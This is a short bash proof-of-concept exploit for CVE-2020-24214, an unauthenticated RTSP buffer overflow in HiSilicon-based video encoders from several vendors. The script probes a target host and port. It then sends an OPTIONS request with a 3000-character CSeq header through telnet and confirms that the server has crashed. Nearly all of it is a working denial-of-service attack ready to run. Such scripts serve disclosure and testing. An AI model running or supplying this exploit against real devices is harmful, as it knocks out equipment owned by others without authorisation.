HiSilicon Video Encoders - Unauthenticated RTSP buffer overflow (DoS)

#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - unauthenticated RTSP buffer overflow (DoS)
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: multiple vendors
# Software Link: N/A
# Version: vendor-specific
# Tested on: Linux
# CVE: CVE-2020-24214
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 2 ]
then
  echo "usage: $0 <server> <RTSP port>"
  exit 1
fi

server=$1
port=$2

printf "checking the target... "
timeout 2 curl -s rtsp://$server:$port \
  || { echo "ERROR: no RTSP server found at $server:$port"; exit 2; }
printf "RTSP server detected\n"
  
cseq=$(printf "0%0.s" {1..3000})

printf "sending the payload... "
printf "OPTIONS /0 RTSP/1.0\nCSeq: %s\n\n" $cseq | telnet $server $port >/dev/null 2>&1
printf "done\n"

sleep 1
printf "checking the target again... "
if timeout 2 curl -s rtsp://$server:$port
then
  echo "ERROR: the RTSP server still seems to be running :("
else
  echo "SUCCESS: the server is down"
fi